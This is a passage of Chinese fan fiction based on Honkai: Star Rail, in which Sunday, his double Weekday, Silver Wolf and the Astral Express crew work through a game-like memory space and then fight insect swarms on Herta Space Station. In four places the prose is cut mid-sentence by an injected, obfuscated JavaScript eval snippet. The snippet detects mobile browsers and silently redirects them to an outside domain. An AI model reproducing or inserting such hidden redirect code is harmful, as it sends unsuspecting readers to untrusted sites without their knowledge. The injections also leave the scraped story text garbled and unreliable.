“所要牺牲的只有我一个人。” 星期日的手指抚过妹妹的发际边缘，他凝视着她苍白的面颊。他们的肌肤相贴，心跳声交叠，仿佛于血脉的交融中共享了某种深切的祝福。 远处的工作日面色一沉，似是感到了不安：“因此家族的人当时用「同谐」的咒链束缚你的手、你的脖颈、你的腰肌、你的双腿，就是为了防止你……” “我没有那样的想法。” 星期日立刻申饬道，他对自己好像格外地无情和不留情面。 “我可以接受他们最终宣判我的死期，视我为最大的恶人。”星期日重新站了起来，走出梦池，“但倘若我自行选择死亡，又有何意义？” 星期日来到门边，既然这是星核猎手处心积虑打算给他们展示看的画面，必然有其目的。而依照到天才黑客的脾性，恐怕这个奇异的装置应该借用了游戏的样子，来推演计算得出什么“命运”。 所以如果是一个游戏，他必须得采取什么操作，触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833246|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发什么机关，才能推进流程。 果真当他推理到这一处的时候，天空中飘来了几个字： 【快开门！】 —— 星期日暂时决定依照浮空字的提示行动。 他正要推开门，结果余光瞥见工作日站在桌子旁，居然在摆弄上头放着的玩偶。 “瞧瞧我发现了什么？”工作日指尖点了点不倒翁玩偶的眉心、 “大多数人在孩童时期擅于幻想一个不存在的朋友来陪伴自己玩耍，有的时候是不可见的意识体，有的时候是真实存在的玩具。” “而你小时候最喜爱的朋友就是这个不倒翁，很可爱的彩漆不倒翁。”工作日手指一弹，不倒翁来回晃动起来。 “匹诺康尼是一个巨大的梦境。”星期日回答，“在梦境里区分‘现实’和‘幻想’可不明智，更何况那是很久以前的事情了。” 天空里的字又发来了催促： 【赶紧开门！】 星期日瞧了一眼闪烁电子光芒的字，抓住了门把手。 工作日在后头摊摊手：“只是意外看到了，就突然想起来了而已。不倒翁这样的东西还挺有趣的，既有些「同谐」，又有些「秩序」，却实在存在着别的意味。它晃啊晃，看上去要倒下去，却并不会倒下，反而颇有「欢愉」的味道，多好笑啊。” 星期日听到这话，握上的门把的手悬空停滞了一下。 他一挑眉回头对上工作日的视线，恍惚间像是找到了缠结的线头般地说道： “你。” “莫非是「欢愉」星神的化身吗？” 天空里继续飘来几个字： 【哇，好像知道了什么不得了的事情。】 28.虚构记忆 “倘若我的确是「欢愉」星神的化身。”工作日毫不意外地回答道，“反倒没什么趣味了吧。我都陪伴了你这么久，还算是挺有用的，你怎么还是怀疑我呢？” “多疑、焦虑、内耗，穷思竭虑、口是心非——不愧是你。” 星期日差点要感到有点儿被冒犯了，但是工作日所分析得很确切。 工作日抬手点了点空中漂浮着的字，它登时分裂成了两个选项。 “人生就像不倒翁，似倒非倒。趁还有时间，干脆考虑考虑其它选项吧。” 天空像是打字机一样吐出了完整的一段话，蓝紫色光芒闪烁： 【选项一：在被公司解救之后，收到了「欢愉」星神阿哈掷下的一封舞会邀请函，经过深思熟虑，最终选择成为一名假面愚者，自此在宇宙间大大小小的热闹事件中留下了他神秘莫测的身影。知更鸟屡次向星海各方发出重赏委托，想要与失踪的兄长建立联系，却始终不能成功。在这对兄妹的有生之年，他们未再见过彼此一面。他的笑声跨越星海，播扬瀛寰，他的神情再无悲伤，只余无尽欢愉。】 “这太荒谬了。” 星期日点评的语调极其温柔，但是工作日明显感觉出来他的不快。 “几乎是最不可能发生的情况。” 星期日居然忍不住解释了一番。 “是吗？”工作日朝虚空挥了挥手：“听到了没有？他觉得你写的「剧本」过于糟糕了呢。” 「剧本」。 星期日沉默地凝视着。 他们眼前的文字快速闪动了一下，跳成另外一长段话： 【选项二：在前往黑塔空间站寻找能够帮助三月七的办法时，意外获得了能够穿越时空的奇物。他不能放下心中对建立美好乐园的执念，选择回到星穹列车抵达匹诺康尼之前的时间段。他成功阻止了星穹列车对于伟大七休日计划的干扰，令整个阿斯德纳星系陷入恒久的太一之梦。他的背叛招来了家族的不满，「无限夫长」受到召唤前来，对匹诺康尼降下残忍神罚。他耗尽所有力量与其展开殊死搏斗，最终以己身之躯抵御下大半伤害，消散于星海之中。然而匹诺康尼多个时刻在重创之下血流成河、陷入动荡，再无复兴之可能。】 “真是一个悲伤的故事。”工作日扶起手肘，“如果星穹列车那时失败了，恐怕这就是我们注定的结局吧？” “嗯。” 星期日这次倒没否定。 “的确如此，长夜终有醒时，而醒来则必面对现实。我曾经的计划充满纰漏，只是一个尚未成熟的胎儿。” “星神的怒火，弹指一瞬。”工作日颇富诗意地说着，“人类的世界便会尸横遍野。即便人类以肉身抗击神力的愿望如此美好，现实却是残酷不已。” 天空中的字又翻了翻，化作下一段话： 【选项三：因为妹妹的死亡而感到极度愤怒的他，产生了对建立一处无人痛苦的乐园的质疑。他夺取了「秩序」的残存力量，强烈的痛苦使得他的心灵扭曲，发誓狩猎星海，追杀……】 “好了，这个把戏已经够了。” 星期日回过身，没有兴趣再继续这个无聊的假设游戏，他朝着门伸出手。 “别那么急嘛。” 工作日又叫住了他的动作。 这次星期日察觉到了什么：“你为什么总是阻止我开门？” “预感？”工作日好像有些不自信。 他的耳羽簌簌翕动，扑打着凝滞的空气，他张开手心，里面是一枚金色的耳坠：“你肯定忘记了这件事。” 青蛙叼走的耳坠子。 啊。 星期日心底生出一丝困惑。 “在走之前，帮我戴起来，好吗？”工作日含着笑说道。 “现在可不是时候。”他回答。 星期日虽然这样说着，指尖抬了抬，碰到另一个自己的耳垂，柔软的触感。 他们两人全身上下一模一样、别无二致，连身高都没有区别，视线自然也是平行。 就像现在，星期日直直地望进了这双金色的眼瞳——像是流淌的黄金。 “……没有……时间了。” 然而，突然地，门咔哒一声弹开。 外头等不及地撞进来一只硕大的多足真蛰虫。 “嘶、嘶。” —— 天空飘来几个大字。 【GAME OVER】 砰的一声。 真蛰虫还未张开爪牙。 他们立刻被弹回了现实。 不对—— 是被弹进了一间快餐店。 方格子的地板，配上香甜的炸薯条油气味，以及明亮的白炽灯灯光。 这确凿无疑是一间快餐店。 正中央的座椅上斜靠着一位银色头发的少女，同样很明显，她是银狼。 银狼的故乡的一处名为朋克洛德的赛博城市，那里的所有人沉迷于虚拟幻觉的麻醉剂。她曾经在某个城市角落的快餐店地下室待了许久，孤单的她投身于电子游戏的怀抱。 “恭喜通关。” 她咬着泡泡糖说道，目不转睛地盯着眼前的手机屏幕。 星期日沉思了一下，答说：“这就是星核猎手的计划——和我们玩一个游戏？” 工作日桌上的餐盘里捡起几根薯条，嘴角出现殷红的番茄酱。 “一个不断怂恿我的幽魂。”星期日看向工作日，接着目光又移到银狼面前，“和一个处心积虑的虚拟形象。” “究竟想要暗示什么？” “你手中的「剧本」究竟书写了什么？” “嘿。”银狼啪嗒一声按灭手机屏幕，“很简单，谜底就在谜面上，世界就是一场巨大的游戏，文字游戏、动作游戏、恋爱游戏，通通是游戏。” 工作日陷入了思考：“星核猎手、星核猎手……从字面意思上看，就是为了猎取星核而存在的满级玩家嘛。” 星期日立刻明白过来，他知道许多不便透露出来的秘密信息，因而很快地就懂得了星核猎手的谋划的目的。 随着工作日直截了当地点出谜底： “所以匹诺康尼大剧院中藏着的那颗星核，究竟去了哪里？” 游戏看上去要结束了。 那颗星核是利用「同谐」的力量才维持住稳定状态，如若爆毁，后果将不堪设想。家族现在重新控制住了匹诺康尼的秩序，而他们一直以来，在试图与星际和平公司达成交易。 这是一方面。 此外，距离他们最近的地方也存在着…… 开拓者体内的星核。 星穹列车至今行过的所有地方，都与星核的灾难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849592|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息息相关，所以匹诺康尼和翁法罗斯怎么可能与之无关？ 星核的力量超乎想象。 —— 叮。 滴水的声音。 以血肉之躯窥视记忆之海，是过于冒险的举动。 但她得到了非常关键的信息。 所以这很值得。 星际和平公司果然没有放弃对匹诺康尼的企图，公司当中有人在蠢蠢欲动。如今她联系不上兄长，难以交流想法和推测，因此她必须更快、更迅速地采取对策。 芮克先生掂量着手里的卷曲胶卷，上面的每一格已经填满了精彩的画面。 “感谢您的帮助。”知更鸟微笑着对他说道，“期待下一次与您的合作。您会是我们珍视的朋友，您拥有我的承诺。” “家族可不是什么值得打交道的对象。”芮克先生摆摆手，“越是宣扬，越是遮掩。” “可惜，我不是在代表家族说话。”知更鸟的声音宁静温和，“谐乐不是只有家族有权奏响、有权诠释，家族并不等同于「同谐」。” 芮克先生了然地张扬笑起来，指了指胶卷的末段，说道：“翁法罗斯的游戏还有一个结局，让故事未完待续，可不尽兴。” 知更鸟没有立刻回答。 —— “祂屡次想要向你投来注视。” “但你都拒绝了。” 工作日慢悠悠地说着，吸了一口草莓奶昔，甜腻的滋味好像糊住了他的舌头。 “你指的是哪个‘祂’？” “我只是在讲述一个事实。”工作日避而不答，他现在展现了和本体一样的城府深沉。 “如果你准备好了结束游戏。”银狼走到开放式厨房间里，拿番茄片、干生菜和半凉的肉饼给自己包了一个汉堡，裹上锡纸，“就推开那扇玻璃门，去战斗、去胜利。” 星期日瞧着她说道：“这个游戏剧情的蓝本是你的人生，你的记忆。因此玻璃门外的是……三重交织的永恒之地正是由数据网络编织的一个沙盘游戏，而执棋者即是星间诸神。” 对于那个问题，「记忆是否也是一种虚构呢？」——答案是： 记忆，当然可以是虚构的。 “「剧本」只允许我将外挂开到这种程度。”银狼咬了一口汉堡，摊摊手，“我也不是很想把自己的记忆编码进来给大家看，但在浮黎「记忆」的规则之下，我只能用自己的故事来创造这个记忆空间。” 从什么时候开始？ 「记忆，那是一个人心底最私密的东西。」 简直和他苦心经营的那场美梦如出一辙，星期日内心一晒，只不过这此凭依的是另一位星神的力量，而他们的使命也迥然不同。 天空中垂落几个字： 【去「开拓」吧。】 【向着星海。】 他曾献祭自己攫取星神的力量，所以深知此事的困难：“「人」要反抗「神」，需得付出怎样的代价，需得做到怎样的程度，需得拥有怎样的觉悟，需得利用怎样的力量？” “需得……” 工作日的耳羽遮住了他的双眼。 “有牺牲与死亡。” “在这点上，就让我来取代你，而面对这必然的命运终点吧。” 他笑了。 他的出现，正是为了这一刻。 29.恭喜通关 按照翁法罗斯这个游戏的规则。 「人」必须战胜自己往昔的暗影，才能最终赢得圣火之种，点燃热焰——这是一场博识尊和浮黎设下的考验。 在最终的决战之时，星期日理当迎战「齐响诗班」形态的自己，但是现在工作日鸠占鹊巢地夺取了这个位置。 同样是自己，只不过更加温和。 “今时今刻，便让我作你的助益和攀登高峰的石阶，献给自己一出终末的颂歌。” 工作日握住了星期日的手。 他的指腹摩挲着星期日掌心的那处钉伤。 “家族的典籍中记载了神子的事迹，他自神庭降落，来到人间行走，播散仁爱、诠释正典，而后先死再复生，回归神座。你在匹诺康尼接受了死的境地……” “但是「人」与「神」天壤地别。”星期日被他牵引着，下意识地跳起了交际舞的舞步，“要想战胜「神」，「人」必须像「神」一样强大。” 眼前出现了破碎的电子光波，空间开始扭曲，星期日看见黑雾中，众人正与自己的往昔幻影艰难鏖战。 “所以现在就是你‘复生’的机会。” 所有的故事都在为此刻铺垫，以及翁法罗斯的诸位英杰，他们全力使出能量，构筑了交织的网络。在虚影之中，开拓者拾起细长羽毛笔，正欲书写终章。 “丹恒！开拓者！” 星期日猛地明白过来，从胸口抽出从罗浮得到的「不朽」碎片，传递给召唤出青色长龙的丹恒。 以卵击石，必死无疑。 但以石击石呢？ 以星神的力量战胜星神本身。 他可以凭借现在拥有的「同谐」权柄，能够调律各方复杂力量，形成融为一体的共鸣，再利用眼前现成的一颗星核，加上□□的黑洞崩坏力。 可以制成一柄「弑神」的长矛。 工作日微微一笑：“你终于明白了过来，自己的力量，有多强大。在这趟开拓之旅，所有人都必不可少。” “现在，你要学会战胜我了。” 他说。 —— #你的通讯未送达，请等待# #你的通讯未送达，请等待# #你的通讯未送达，请等待# #链接已重连# #更新中……# #感谢到访翁法罗斯# #恭喜通关# #请按ESC退出游戏# #再见# —— 翁法罗斯事件落幕后的。 星穹列车。 夜晚的时间漫长自由，尤其是经历了翁法罗斯跌宕起伏、惊心动魄的冒险之后——比如她身体里的星核差点炸了——开拓者在打游戏的间隙顿感饥饿，开始在她的大冰箱里面搜寻起来。 除了开拓者购买的巨大酸奶桶之外，冰箱里还有一袋冷冻咖啡豆，许多仙舟特产野餐，还有三月七因为打游戏发热过烫的平板……真是越来越丰盛了啊！ 嘿咻。 开拓者心想，也许应该把她的酸奶埋在贝洛伯格的雪原里，这样又保管冻干，还避免了有人偷吃。 她一下子掀开了脆弱的酸奶桶。 然后凝视着挂着美丽酸奶液体的盖子。 舔，还是不舔？ 正当她要做出这个伟大决定时…… 门响了。 不对——是有人在敲门。 开拓者打开门一看，发现原来是星期日，他看起来对于深夜打扰她休息感到十分抱歉，但十分坚定地走到了冰箱面前。 谁叫整辆列车上只有开拓者的房间里有冰箱呢？ 还是双开门智能大冰箱。 星期日优雅地从冰箱里取出他的美味小蛋糕，开拓者目不转睛地盯着他的蛋糕，而星期日的视线也落向开拓者手里的酸奶。 “既然我们都是熬鹰大师。” 开拓者自信地提议道。 “不如一起来吃吧！” 她话音未落，门砰的一声陡然打开，从六相冰的冰封中再次苏醒过来的三月七重新焕发出活力色彩。 三月七从背后掏出一把勺子：“这样的好事怎么能少了本姑娘？” “等等。”开拓者抱起手臂，“你不会一直潜伏在我的门外就为了这一刻吧？” “怎么可能！”三月七大声地嘟囔道，“本姑娘是会做这种事的人吗？” 星期日本是觉得这并非适合他言语的场合，但最终一番思虑之下，还是找到时机插话道：“如果三月小姐不嫌弃的话，也可以尝尝我的蛋糕。” 三月七看见星期日递出的蛋糕，眼睛里飞出了亮闪闪的星星。 开拓者仍抓着此事不放，转身对星期日问道：“你敲门的时候看见三月七了吗？” 星期日还未回答，门口传来了另一种清冽的声音：“我作证，三月是刚刚才出门到派对车厢来的。” 丹恒走了进来，抱着薯片。 没想到，冷面小青龙也是个爱熬夜的。 “正好杨叔分了我一些影片。”开拓者灵机一动，“我们可以边看边吃！” 三月七马上“耶”了一声，她看起来恢复得很好。 “丹恒和星期日呢？”开拓者问道。 “我没问题。”丹恒点点头。 星期日轻笑：“好的，听大家的安排。” 他总是这样平平淡淡的反应，大家好像都习惯了，至少他愿意参与，就已经是巨大的进步了。 咔哒。 开拓者按下电视遥控器按钮。 —— 房间陷入一片黑暗。 因为三月七把灯关了。 开拓者坚持选择了一部恐怖电影，为了营造氛围，三月七兴冲冲地关掉了电灯，然后吓得和开拓者抱作一团。 “对了。”丹恒不动声色，在电视屏幕里的怪物张开血盆大口的时候，对旁边的星期日问道，“工作日还好吗？” 他一下子开启了个禁忌话题。 “哇。” 丹恒的身侧突然探出来两个好奇的脑袋。 星期日眨了眨眼，继而坦率地回答说：“在决战之中，我击溃了他，致使在游戏之外，他好像有些沮丧，只肯待在我的房间里，不愿意出来。” “呐。”开拓者笑眯眯地说道，“这不是和你一模一样嘛。” 星期日浅浅一笑：“是啊，毕竟他也是我，属于我的一部分，不该被否定的一部分。” “好了好了好了。”三月七发出尖锐暴鸣，死死拽住开拓者的衣袖，“我们还是快看电影吧！啊啊啊啊啊啊！” 丹恒也笑了：“三月真不愧是人菜瘾大，越怕越爱。” —— 开拓者的酸奶桶，星期日的小蛋糕，还有丹恒的薯片很快被大家风卷残云般地吃干净了。 一部电影播放完毕，三月七和开拓者睡倒成一团。丹恒和星期日对视了一下，一致决定为两人盖好毛毯，然后礼貌告别，各回各的房间。 星期日回到房间的时候，屋子里静悄悄的。 只有床头柜上的不倒翁在摇晃。 工作日没有现身，可能是觉得每个人都找到了自己的方向，他也不再被需要了。 幻想朋友的命运正是如此。 当主人走向成熟，收获了新的朋友后，它们的使命便如愿完结。 —— 第二天召开列车航线会议的时候，星期日正好在观景车厢收听星际和平公司的广播。 广播中提到近期绝灭大君在赛杜尼拉默星群现身，恐怕有所图谋。此外， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864509|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥瑟顿星发生了意外事件，星际和平公司的战略投资部介入处理了此事。① 战略投资部这个词让星期日不免多想了一下。 黑天鹅在收集到满意的记忆后，留了一个告别用的光锥后离开了列车。 杨叔执意邀请星期日这次一定要参加会议。他们上次共同前往黑塔空间站的经历，加上在匹诺康尼时的一段同行经历，彼此之前也没有了戒备的隔阂。 “这次的翁法罗斯的冒险虽然遭遇了很多挫折，还遭遇了极度凶险的场景。”姬子代表众人先发表了感言。 “简直是九死一生啊！”三月七感慨道。 “所幸的是，列车最初的任务圆满达成了。”姬子柔和微笑，“我们的「开拓」大获成功，列车已经加装了充足的燃料，等待下一个目的地。” “好耶！”三月七再次捧场道。 这时，开拓者的手机响了响，她仔细查看了短信后，好像有了新的想法。 “这次翁法罗斯之行耗费了很多时日，也许是时候该返回之前开拓过的星球看看。”她提议说。 “其实「开拓」不仅是对外界世界的探索，也是对我们内心世界的重新认识。”杨叔说出了很具有哲理的话语，“适当地回头复盘一下，是不错的选择。” “我赞同。”丹恒点头。 星期日接着说：“我也赞同□□先生的看法。” “好嘞。”开拓者比了个欢快的手势，“那么我们先去哪里呢？贝洛伯格、罗浮仙舟、匹诺康尼，还是回去翁法罗斯？” “诶？” 三月七突然发出了一声惊呼。 “我发现了件奇怪的事。” 大家纷纷看过去。 丹恒问：“什么事？” 三月七挠挠头，答：“为什么这些地名都是四个字的呢？” 丹恒、杨叔、姬子、星期日：“啊。” 开拓者说道：“可能是某种命名偏好吧。四个字、四个字，这里应该四个字……类似这种。” “有道理。”三月七立马领悟了。 “如果我们顺路去罗浮的话。”丹恒提出了他的想法，“我需要采购一些本土植物用来制作染料，不过这也不着急。” “桑博发来消息说，贝洛伯格正在举办庆典活动，欢迎我们参与。”开拓者喜悦地说，“真是有些想念寒腿叔叔了。” “唔。”三月七摸摸胸口，“经历了这么一遭，我倒是没什么想法，接下来能继续拍到美丽的照片就好了。” 姬子说：“我没什么特定的地方想去，大家可以畅所欲言。” 众人七嘴八舌地讨论开来，星期日好像有些犹豫是否该开口，但是杨叔向他投来了一个鼓励的眼神。 星期日遂说道：“各位，我有一个私心之请，不知道大家是否愿意一听？” “当然。”姬子一弯眼角，立马回道。 星期日于是把他之前如何被花火带到了桑博的酒馆分馆，然后遇到了一群被原始博士变成了青蛙的悲悼伶人的故事讲了一遍。 根据桑博的安排，变成青蛙的悲悼伶人被暂时安置在了黑塔空间站。 “上一次同杨先生一起前往黑塔空间站时。”星期日说道，“碍于事态紧急，没来得及了解一下事情的发展，所以想要请大家一同去黑塔空间站看一看。” 杨叔跟着说：“的确，之前拜访黑塔女士的时候，打搅到了她拜访博识尊的仪式。现在翁法罗斯的事情了结，理应再去问候一下，感谢她当时的援助。” “好的，那我们来投票吧。”姬子主持着局面，大家点头表示同意。 正在这时…… “啊！” 三月七灵光一现。 “黑、塔、空、间、站，是五个字，不是四个字欸！” 30.起死回骸 黑塔空间站。 满打满算的话，列车组先去空间站，再去贝洛伯格，最后到仙舟逛一圈，时间算是绰绰有余的。 列车组帮过黑塔空间站很多次，所以艾丝妲站在特意亲自前来迎接。 “黑塔女士去远洋星系开发新实验了。”艾丝妲对着大家问好，然后解释说，“好像上次列车组的两位过来的时候，给了她一点灵感上的启迪。不过黑塔女士的代理人偶……” “应该在空间站里随处可见。”艾丝妲扶了扶额头。 “之前请空间站帮忙安置悲悼伶人，真是十分感谢。”星期日礼貌说道。 “这点事情不算什么，不过正好今天有博识学会的拉帝奥教授造访，也问起了悲悼伶人的事情。”艾丝妲温婉地笑道，“教授去星舰底部的禁闭舱段了，大家想要和他交流学术知识的话，可以去那里找他。” “好主意！”开拓者想起了寄养在空间站禁闭舱段的猫猫糕，决定去看望它们。 姬子和艾丝妲接下来聊起了咖啡豆采购问题，杨叔要去黑塔的办公室谈事情，丹恒打算和空间站科员交流一下物理知识，大家各自安排了各自的去向。 三月七自然和开拓者黏在了一起，还有星期日——毕竟是他提议来空间站的，不用问也知道他是要一起去的。 但是星期日居然拿着手机站在原地没动。 三月七和开拓者将脑袋凑过去一瞧。 屏幕上反复弹出一条提示信息： 【网络连接不可用】 【网络连接不可用】 【网络连接不可用】 “遇到电子设备故障的第一处理法则是——”开拓者信心满满地说道，“重启！” “理论上空间站的信号网络应该可以自动连接上的啊。”三月七琢磨着。 星期日听了她们俩的话，尝试重启了手机，但是手机陷入了漫长的黑屏过程中。他不想耽搁大家的时间，于是提议先出发去禁闭舱段，这件事没有那么要紧。 而后他又带着一丝丝的纳闷，仿佛在解释一般地边走边说道：“其实我连日来没有收到任何信息，本以为只是大家未有什么需要与我沟通的。现在想来，原来是没有成功连接上网络，我竟也没有发现，实在惭愧。” “毕竟翁法罗斯里面是没有信号的，手机设置或许没适应？”三月七开动脑筋，“可能就是这样的缘故吧！” “很有道理。”开拓者接话道，“星期日居然不是电子设备发烧友。梦境里会有手机维修的问题吗？” 三月七说：“其实丹恒是个超级电脑发烧友，没想到吧！” —— 他们乘坐电梯来到最底下的禁闭舱段，照道理说，这里安置了猫猫糕和悲悼伶人变成的青蛙，配上其它的研究人员，应该热热闹闹的。 但四下居然一片寂静。 “哎呀！” 三月七叹息着，贴紧了开拓者：“不会和昨天晚上我们看的恐怖电影里一样……大家异化成了……” “这就打破第四堵墙了？” 开拓者边说着，边掏出了她的棒球棍。 星期日仔细查看了附近的痕迹，回来说道：“我没有感受到有异样的气息，不如我们深入内部调查一下？” 三月七和开拓者点头表示赞同，顺着楼梯往内部走去，星期日走在前面为大家开路。 禁闭舱段的走廊当中空无一人。 星期日回想起来艾丝妲站长分享的信息，那位真理医生应该在此处，以他的本事，不至于会出事。 但人都去哪儿了？ 开拓者在后头跟着星期日往前走，三月七却神秘兮兮地举起了她的相机：“听说相机可以拍下人眼看不见的东西，比如……” “鬼？” 开拓者摸摸脑袋。 三月七小鸡啄米似的点了点头：“嗯嗯——空间站的幽灵！不是经常有这样的都市传说吗？” 开拓者感到想要尝试，但有些顾虑，于是向星期日投去一道视线。 星期日返身过来，挂上一个温和的笑容：“理论上，光学镜头确实能捕捉到肉眼不可见的东西，这听起来很有趣，说不定真的能拍到什么重要线索。” “好嘞。” 三月七快乐地举起相机，咔嚓一声。 大家看向立刻被冲印出来的照片，上面浮现出—— “嘶！” 开拓者突然听到一声清脆的响声，正在以可怖的速度逼近。 鬼来了？ 开拓者警惕起来，调动全身肌肉摆出防御动作，高举起棒球棍。 啊，不对不对，应该是—— “汪！” 她回头一看。 原来是佩佩。 空间站的那只小狗。 开拓者大大地送了一口气，从地上抱起跑得气喘吁吁的佩佩，然后回头一看。 三月七和星期日…… 居然也不见了？ —— “让我看看……！” 三月七瞧见照片上浮现出的紫黑色虚影，惊讶地捂住了嘴巴。 “是特殊形态的真蛰虫。” 星期日确认道。 “咦？”三月七突然感到一阵毛骨悚然的阴风，抬起头环顾四周，“开拓者怎么不见了？” 有「繁育」的残存势力出现在这里，不免让他们戒备起来。 “明明刚才还在这里的。” 三月七凝视着空荡荡的走廊，急中生智地思考出一个办法：“要不给开拓者发个消息问问？” 灰白色的墙似乎在像海浪一样波动，但没有人注意到这细微的异样。 “咦，没信号！” 三月七盯着手机屏幕上转动的加载圈，头顶上冒出一只乌鸦和数个圆点。 当然，这是抽象的比喻。 她望向星期日，结果发现星期日居然也一脸迷茫——不，一脸严肃地盯着他的手机。 三月七正在纳闷发生了什么，星期日主动地请她共同查看他收到信息。三月七聚精会神地读起来，瞬间感到可怕的事情发生了。 【网络已连接】 【你收到了一条新信息】 【知更鸟：兄长，听闻星穹列车已顺利返航，大家能平安归来，我便放心了。我此次来函，是因为有一件事务必要告知你。 我到达阿斯德纳星系后，就遭到一股神秘力量影响了我的感知能力。你知道的，我们天环一族尤为擅长精神感知，这显然是异常的情况。 借助一位忆者的力量，我逐渐查明了真相。匹诺康尼现任主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872175|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的几位家主在背地里与星际和平公司的市场开拓部进行了交易。他们声称封印了匹诺康尼大剧院里的那颗星核，实际上将其标价售卖给了星际和平公司，以此获得大笔财富。 此前多年以来，歌斐木先生利用星核对抗匹诺康尼梦境和阿斯德纳星系中的异动力量。如今缺少星核压制，我们发现梦境中有「繁育」的迹象复苏。我已下令，在力所能及的范围内清除再生的虫害，它们暂未对匹诺康尼造成损失。但真蛰虫的特性使然，难以轻易除尽。 请兄长和星穹列车的诸位一定多加警惕，我恐怕「繁育」在星海中正在掀起一股起死回骸的浪潮。】 “天呐！是寰宇蝗灾！模拟宇宙成真了！”三月七夸张地做了一个惊恐的表情，然后立刻幻化出她的冰弓，做出战斗准备。 星期日也握紧了他的书，两个人默契地交换了一下眼神。 “我们先继续往前走。” 星期日提议，就在他们两人行动的瞬间，黑暗中闪现出许多个硕大的虫躯，嘈杂的翅膀扑棱的声音立刻将他们淹没。 “啊啊啊，我们可是两个辅助啊。” 三月七连连发出冰矢。 真蛰虫来势凶猛，两个人在真蛰虫的袭击下不得不一直往后退，它们甚至能从虚影波动的墙体中穿墙而出，仿佛在一刻不停地繁衍着。 “不好。”星期日甩出光刺，然而虫子却越杀越多，“三月小姐，我们先撤到附近的房间里去。” 星期日反手招呼着三月七边打边退进离他们最近的房间，迅速关闭上智能门。 虫群嗡嗡地聚成团状撞击门板，它们的力量太强了，门板不消片刻就出现了裂缝。 “嘿，可别小瞧我！有我们二人强强联手，准没问题。” 三月七凝聚起六相冰，对准了门口的方向，噼里啪啦地将门冻了一块巨大的冰。 星期日娴熟地为她发出的冰矢施加了扩散力量，使得冰块牢固地与整个墙体粘合在一起。 “这些蝗虫可以自我分裂，一定会越聚越多……”星期日来回思索着，想要和工作日讨论一下自己的想法，却突然意识到原来他现在不在。 “听说寰宇蝗灾是很久很久以前的灾难了——”三月七感叹着说，“要是有个办法能一下子消灭这些虫子就好了。” “嗯，最有效的方法往往是最简单的方法。” 星期日陷入深思。 虫子用身体撞击门板的声音丝毫没有消减，密闭空间更加增添了阴森可怖的氛围。 “匹诺康尼和空间站都出现了虫子，事态一定很严重。”星期日又拿起手机查看，“所幸妹妹在匹诺康尼在及早扼杀了灾难的初芽。” 三月七还在琢磨着：“那我们应该赶紧去通知站长禁闭舱段沦陷了。不过我们现在该怎出去呢？外面的虫子实在太多了。” 星期日尝试着向开拓者发送了一个定位标识，竟然成功发送出去了，而三月七的手机仍旧没有信号。 信息已读，但开拓者还没有答复。 三月七在房间里倒腾着，找到一本安全手册，她突然来了个绝妙的点子。 星期日似乎也想到了同一点，对上她的视线，突然感到比看见真蛰虫还更加不寒而栗。 “你会点火吗？”三月七问道。